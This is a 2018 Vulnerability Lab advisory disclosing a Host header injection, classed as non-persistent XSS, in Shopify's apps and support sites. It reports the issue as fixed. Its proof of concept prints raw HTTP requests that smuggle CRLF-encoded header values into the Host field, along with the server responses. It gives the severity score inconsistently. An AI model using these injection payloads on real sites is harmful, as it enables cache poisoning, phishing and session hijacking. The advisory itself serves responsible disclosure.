Document Title: =============== Shopify - (Link Return) Client Side Web Vulnerability Date: ===== 2018-06-12 References: =========== http://www.vulnerability-lab.com/get_content.php?id=1550 VL-ID: ===== 1550 Common Vulnerability Scoring System: ==================================== 4 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Introduction: ============= Shopify is a Canadian commerce company headquartered in Ottawa, Ontario that develops computer software for online stores and retail point-of-sale systems. Shopify was founded in 2004, and was initially based on earlier software written by its founders for their online snowboard store. The company reports that it has 150,000 merchants using its platform, with total gross merchandise volume exceeding $8 billion. (Copy of the Homepage: https://en.wikipedia.org/wiki/Shopify ) Abstract: ========= The Vulnerability Laboratory Core Research Team discovered a client-side header inject web vulnerability in the official Shopify online service web-application. Report-Timeline: ================ 2018-06-13: Public Disclosure (Vulnerability Laboratory) Status: ======== Published Affected Products: ================== Shopify Inc. Product: Shopify - Online Service (Web-Application) v2015 Q3 Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== A client-side cross site scripting web vulnerability has been discovered in the official in the official Shopify online service web-application. The non-persistent xss vulnerability allows remote attackers to inject own script code to the client-side of the vulnerable online-service module. The vulnerability is located in the `Link` value of the `apps.shopify.com/ ` and `support.shopify.com/` module. Remote attackers are able to inject own script codes to client-side application header requests. The attack vector is non persistent and the request method to inject/execute is GET. The vulnerable source is located in the `apps.shopify.com/ ` and `support.shopify.com/` module when processing to request the link value. The security risk of the header inject web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4. Exploitation of the client-side header inject web vulnerability requires no privilege web application user account and low user interaction. Successful exploitation results in client-side account theft by hijacking, client-side phishing, client-side external redirects and non-persistent manipulation of affected or connected service modules. Request Method(s): [+] GET Vulnerable Module(s): [+] apps.shopify.com [+] support.shopify.com Vulnerable Parameter(s): [+] Link value - return Proof of Concept: ================= The client-side vulnerability can be exploited by remote attackers without privilege web-application user account. For security demonstration or to reproduce follow the provided information and steps below to continue. Note: An attacker can manipulate the Host header as seen by the web application and cause the application to behave in unexpected ways. http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html http://carlos.bueno.org/2008/06/host-header-injection.html The above links mentioned 2 different ways to exploit this issue: Web-cache poisoning and/or Using alternate channels like password reset emails. 1. https://support.shopify.com/ GET / HTTP/1.1 Host: site.com%0D%0a;test=evil.source%0D%0Atest="bugbounty"%0d%0a User-Agent: Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0 Accept: application/font-woff;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: identity Referer: https://support.shopify.com/assets/application-a83dc650ef348bfa0e545a9644a8536c.css Origin: https://docs.shopify.com X-Forwarded-For: 8.8.8.8 Connection: keep-alive Response: HTTP/1.1 200 OK Server: nginx Date: Sun, 17 May 2015 21:10:38 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Vary: Accept-Encoding Status: 200 OK Strict-Transport-Security: max-age=631152000; includeSubdomains X-Frame-Options: DENY X-XSS-Protection: 1; mode=block; report=/xss-report/c7a180e2-7745-4ebd-b2ce-ed37f8d392a3?source%5Baction%5D=index&source%5Bcontroller%5D=home&source%5Bsection%5D=support X-Content-Type-Options: nosniff X-Download-Options: noopen Link: ; rel="canonical" Content-Security-Policy-Report-Only: default-src 'self' https:; connect-src 'self' https: wss:; font-src 'self' https: data:; frame-src 'self' https: data:; img-src 'self' https: data:; media-src 'self' https: data:; object-src 'self' https:; script-src 'self' https: 'unsafe-inline' 'unsafe-eval'; style-src 'self' https: 'unsafe-inline'; report-uri /csp-report/c7a180e2-7745-4ebd-b2ce-ed37f8d392a3?source%5Baction%5D=index&source%5Bcontroller%5D=home&source%5Bsection%5D=support; ETag: W/"7f7a987b6bb023de447e41cfee8319f1" Cache-Control: max-age=0, private, must-revalidate Set-Cookie: support_shopify_com_session=d3g4RWd2dXlVSkhrWTB4UEtwRkFZZWUxUUd4Y3dFcjJrUER3Z1pqUll5U3Fka3dwbkVES3Q0OGpRd1NrSk0yVm5ycG43WFFibDMza1JoRE1OSXVVZE96SlQySlNrN0t3SjVEL1o0MTB0cj RZMDZKSks2RkJ1UEFYTCtPa1VhRmlVTmpMK1N2SjJiUUZiYUFKdVdFeDUvMGpqVDhaYTlXUmhQQ1pCTEVDZHYvTU9kVEpsWTNOL0pyODFGeEhPWm95LS10QTM0b3BBRzRZQm9PclhYUzQvaDdBPT0%3D-- c5ad1f89e76867a62b6ed3abf421c652e6fd70cd; path=/; secure; HttpOnly X-Request-Id: c7a180e2-7745-4ebd-b2ce-ed37f8d392a3 X-Runtime: 0.009336 P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR" Content-Length: 21674 Support
Note: Now, you can see the injection point 1. Link: ; rel="canonical" 2. 3. https://apps.shopify.com/ GET / HTTP/1.1 Host: site.com%0D%0a;test=evil.source%0D%0A;test="bugbounty"%0d%0a User-Agent: Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://shopify.com Cookie: ajs_user_id=null; ajs_group_id=null; Response(s): HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=utf-8 Connection: keep-alive Vary: Accept-Encoding Status: 200 OK Strict-Transport-Security: max-age=631152000; includeSubdomains X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Download-Options: noopen Link: ; rel="canonical" Content-Security-Policy-Report-Only: default-src 'self' https:; connect-src 'self' https: wss:; font-src 'self' https: data:; frame-src 'self' https: data:; img-src 'self' https: data:; media-src 'self' https: data:; object-src 'self' https:; script-src 'self' https: 'unsafe-inline' 'unsafe-eval'; style-src 'self' https: 'unsafe-inline'; report-uri /csp-report/c8379ed8-6af7-4c00-8fae-b9850ea3576c?source%5Baction%5D=index&source%5Bcontroller%5D= shopify_applications&source%5Bsection%5D=external-area; X-XSS-Protection: 1; mode=block; report=/xss-report/c8379ed8-6af7-4c00-8fae-b9850ea3576c?source%5Baction%5D=index&source%5Bcontroller%5D= shopify_applications&source%5Bsection%5D=external-area ETag: W/"c68f34dcf8f04088c252693e3e55b997" Cache-Control: max-age=0, private, must-revalidate X-Request-Id: 679d8da048affe45b090a6da670ffbc6 X-Runtime: 0.021336 X-App-Name: appstore P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR" Content-Length: 94662 Injection(s): Link: ; rel="canonical" Reference(s): https://apps.shopify.com/ https://support.shopify.com/ Solution: ========= The full impact of the issue was finally resolved in 2017 Q1-Q2. The disclosure process took about one year after the patch as established. Risk: ===== The security risk of the header inject web vulnerability in the shopify online service web-application is estimated as medium (cvss 3.4). Credits: ======== Vulnerability Laboratory [Core Research Team] - (research@vulnerability-lab.com) [www.vulnerability-lab.com] Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™